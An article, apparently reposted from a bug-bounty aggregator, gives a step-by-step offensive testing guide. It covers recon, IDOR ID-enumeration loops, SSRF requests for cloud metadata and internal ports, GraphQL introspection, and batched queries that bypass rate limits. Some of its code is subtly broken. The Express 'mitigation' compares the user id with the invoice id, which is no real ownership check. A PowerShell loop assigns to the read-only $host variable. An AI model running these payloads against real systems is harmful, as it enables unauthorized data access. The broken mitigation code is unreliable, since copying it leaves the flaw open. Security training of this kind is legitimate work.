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Introduction:
Modern web and API security requires more than just running scanners—it demands a “Threat Actor Mindset” that anticipates how vulnerabilities chain together. Abhirup Konwar, known as Legion Hunter with over 250 CVEs to his name, emphasizes that consistent bounty hunting success comes from methodical reconnaissance, deep understanding of OWASP Top 10 flaws, and hands-on exploitation techniques. This article extracts and expands upon the core technical principles from his blog (https://legionhunter.blog/) to deliver a practical, command‑by‑command guide for pentesters and bug bounty hunters.
Learning Objectives:
– Master reconnaissance and automation workflows using Linux/Windows tools to discover hidden API endpoints.
– Exploit and mitigate critical OWASP Top 10 vulnerabilities, including Broken Object Level Authorization (BOLA) and Server-Side Request Forgery (SSRF).
– Apply threat actor mindset techniques to chain low‑severity issues into high‑impact exploits.
You Should Know:
1. Reconnaissance & Endpoint Discovery – The Legion Hunter Way
Start with the mindset: every parameter, header, and static file is a potential attack surface. Use passive and active reconnaissance to map the application.
Linux commands for subdomain & endpoint enumeration:
Subdomain discovery using assetfinder and httpx echo "target.com" | assetfinder -subs-only | httpx -silent -status-code -title Extract JavaScript files for endpoint analysis cat urls.txt | grep -E "\.js$" | while read js; do curl -s $js | grep -Eo "/(api|v1|v2|graphql|rest)/[a-zA-Z0-9_/?=.-]+" >> endpoints.txt; done Use gau (GetAllUrls) from known sources cat domains.txt | gau --subs --threads 5 | tee all_urls.txt
Windows PowerShell alternative:
Invoke-webrequest to fetch JS and extract endpoints
$jsUrl = "https://target.com/app.js"
(Invoke-WebRequest -Uri $jsUrl).Content | Select-String -Pattern '/(api|v1|graphql)/[^"'\'' ]+' -AllMatches | ForEach-Object {$_.Matches.Value} | Out-File .\endpoints.txt
Step‑by‑step guide:
1. Gather root domains from bug bounty programs.
2. Run subdomain enumeration (assetfinder, subfinder, amass).
3. Probe live hosts with httpx (Linux) or custom PowerShell script.
4. Collect all URLs from historical data (gau, waybackurls).
5. Filter for API paths, GraphQL endpoints, and Swagger/OpenAPI definitions.
2. API Security Testing – Broken Object Level Authorization (BOLA)
BOLA (OWASP API1:2019) remains the top API vulnerability. The concept: an API endpoint uses user‑supplied IDs without verifying ownership.
Example vulnerable request:
GET /api/v1/invoice?invoice_id=1001
If you change `invoice_id=1002` and receive another user’s invoice, BOLA exists.
Exploitation workflow (Burp Suite / CLI):
Using curl to test IDOR on a list of IDs
for id in {1000..1010}; do
curl -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/v1/invoice?id=$id" | jq '.invoice_number'
done
Mitigation commands (for developers / defenders):
– Enforce random, unpredictable IDs (UUIDv4) instead of sequential integers.
– Always validate user context on the server side. Example middleware in Node.js/Express:
app.use('/api/v1/invoice/:id', (req, res, next) => {
if (req.user.id !== req.params.id && !req.user.isAdmin) {
return res.status(403).json({error: "Unauthorized"});
}
next();
});
Step‑by‑step guide to detect BOLA:
1. Identify API endpoints that accept numeric or predictable IDs.
2. Create two separate accounts (A and B).
3. Using account A, request a resource belonging to account B (e.g., /user/456/profile).
4. If data is returned, the vulnerability is confirmed.
5. Automate with Burp Intruder or custom Python script using `requests` library.
3. SSRF (Server‑Side Request Forgery) – From Internal Port Scanning to Cloud Metadata Theft
SSRF allows an attacker to make the server send requests to internal systems. Threat actors use this to bypass firewalls.
Testing for SSRF (Linux):
Send a request where a URL parameter might be fetched by the server
curl -X POST https://target.com/api/fetch -d "url=http://169.254.169.254/latest/meta-data/" -H "Content-Type: application/x-www-form-urlencoded"
Check for internal ports using time‑based differences
for port in 22 80 443 3306 6379; do
time curl -s -o /dev/null -w "%{time_total}\n" "https://target.com/proxy?url=http://127.0.0.1:$port"
done
Windows PowerShell SSRF test:
$urls = @("http://localhost/admin", "http://169.254.169.254/latest/user-data")
foreach ($u in $urls) {
try { Invoke-RestMethod -Uri "https://target.com/api/fetch?target=$u" -ErrorAction Stop }
catch { Write-Host "Response for $u : $($_.Exception.Message)" }
}
Step‑by‑step exploitation & mitigation:
1. Locate features that fetch external resources (profile image from URL, webhooks, file import).
2. Try classic internal IPs: `127.0.0.1`, `localhost`, `0.0.0.0`, `172.16-31.x`, `192.168.x`.
3. Use alternative encodings: decimal (`http://2130706433/`), octal, or hex to bypass weak filters.
4. If successful, attempt to read cloud metadata (AWS, GCP, Azure) or internal service banners.
5. Mitigation: Implement strict allowlists, sanitize URL input, disable unused URL schemes (gopher://, dict://).
4. Exploiting GraphQL – Introspection & Batch Attacks
GraphQL endpoints often leak their entire schema via introspection. A threat actor downloads the schema to find hidden mutations.
GraphQL introspection query:
query {
__schema {
types {
name
fields { name }
}
}
}
Linux command to send introspection:
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}' | jq '.'
Batch attack to bypass rate limits:
GraphQL allows batching multiple queries in one request. This can be used to brute‑force without triggering rate limiting.
[
{"query": "query { user(id: 1) { email } }"},
{"query": "query { user(id: 2) { email } }"},
{"query": "query { user(id: 3) { email } }"}
]
Step‑by‑step GraphQL hacking:
1. Locate `/graphql`, `/v1/graphql`, or `/query`.
2. Send introspection query; if not disabled, save the schema.
3. Look for dangerous mutations like `updateUserRole`, `deleteAllPosts`.
4. Try batch queries to fetch multiple objects without proper authorization checks.
5. Use `graphql‑voyager` or `InQL` Burp extension for visual scanning.
5. Automation & Custom Tooling – The Legion Hunter Arsenal
Efficiency in bug bounty comes from automating repetitive checks. Use bash/PowerShell and tools like Nuclei.
Installing Nuclei (Linux):
Download and run nuclei wget https://github.com/projectdiscovery/nuclei/releases/download/v3.3.0/nuclei_3.3.0_linux_amd64.zip unzip nuclei_3.3.0_linux_amd64.zip && sudo mv nuclei /usr/local/bin/ nuclei -update-templates
Run a custom API security scan:
nuclei -l live_hosts.txt -t ~/nuclei-templates/http/exposures/ -t ~/nuclei-templates/http/misconfiguration/ -t ~/nuclei-templates/http/vulnerabilities/ -o results.txt
Windows automation with PowerShell & curl:
$hosts = Get-Content .\live_hosts.txt
foreach ($host in $hosts) {
$response = curl.exe -s -o nul -w "%{http_code}" "https://$host/api/swagger.json"
if ($response -eq 200) { Write-Host "Swagger exposed: $host" }
}
Step‑by‑step automation setup:
1. Install Nuclei, httpx, and subfinder on a Linux VPS (or WSL on Windows).
2. Create a script that runs daily: subfinder → httpx → nuclei.
3. For Windows, use WSL2 or run Go‑based tools natively.
4. Integrate with Slack/Discord webhooks to alert on high‑severity findings.
What Undercode Say:
– Key Takeaway 1: The “Threat Actor Mindset” is not about malice but about thinking like an adversary—testing assumptions, chaining misconfigurations, and always looking for the unexpected interaction between features.
– Key Takeaway 2: Automation without deep understanding of OWASP Top 10 leads to false positives and missed critical bugs. Manual validation of BOLA, SSRF, and GraphQL introspection remains irreplaceable.
Expected Output:
A professional pentester must combine methodical reconnaissance (assetfinder, gau), API‑specific attacks (BOLA, SSRF, GraphQL batching), and smart automation (Nuclei) to consistently find vulnerabilities. The content from Legion Hunter’s blog (https://legionhunter.blog/) reinforces that each CVE starts with a simple curiosity—what happens if I change this ID? The commands and step‑by‑step guides above translate that mindset into actionable testing.
Prediction:
+1 Bug bounty platforms will increasingly enforce stricter API security postures, forcing hunters to move toward business logic flaws and client‑side vulnerabilities.
+N As AI‑driven code assistants (Copilot, Cursor) become widespread, they may inadvertently generate vulnerable GraphQL and REST endpoints, leading to a surge in BOLA and mass assignment CVEs.
+1 The demand for specialized training courses covering “Attack Surface Mindset” and API exploit chaining will grow, with platforms like Hack The Box and PortSwigger Academy expanding their SSRF and GraphQL modules.
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Reported By: [Abhirup Konwar](https://www.linkedin.com/posts/abhirup-konwar-a626201a6_bugbounty-ethicalhacking-pentesting-share-7469724282173014016-rhbh/) – Hackers Feeds
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